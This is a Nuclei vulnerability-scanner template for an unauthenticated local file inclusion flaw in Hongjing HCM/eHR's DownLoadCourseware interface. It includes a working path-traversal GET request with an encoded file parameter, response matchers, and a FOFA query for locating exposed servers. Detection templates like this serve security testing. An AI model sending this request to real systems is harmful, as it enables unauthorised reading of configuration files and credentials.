42 lines
1.7 KiB
YAML
42 lines
1.7 KiB
YAML
id: hjsoft-hcm-lfi
|
|
|
|
info:
|
|
name: Hongjing HCM - Local File Inclusion
|
|
author: securityforeveryone
|
|
severity: high
|
|
description: |
|
|
There is an arbitrary file read vulnerability in the Hongjing eHR /DownLoadCourseware interface. Unauthenticated attackers can use this vulnerability to read important system files (such as database configuration files, system configuration files), database configuration files, etc., causing the website to be extremely unsafe.
|
|
reference:
|
|
- https://github.com/wy876/POC/blob/main/%E5%AE%8F%E6%99%AFeHR%E4%BA%BA%E5%8A%9B%E8%B5%84%E6%BA%90%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3DownLoadCourseware%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
|
|
- https://blog.csdn.net/qq_41904294/article/details/140180110
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
fofa-query: app="HJSOFT-HCM"
|
|
tags: lfi,hjsoft,management-system,file-read
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /w_selfservice/oauthservlet/%2e./.%2e/DownLoadCourseware?url=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "bit app support"
|
|
- "fonts"
|
|
- "extensions"
|
|
condition: and
|
|
|
|
- type: word
|
|
part: content_type
|
|
words:
|
|
- "multipart/form-data"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a004730450221008925446fe287f3bbb329320b7d8c65e87d3afafd5c48c0a478435d1f5707704b0220304082dd0ebd884b36d836405c0c4907fd54b58708cd66940acc1304d0107a85:922c64590222798bb761d5b6d8e72950 |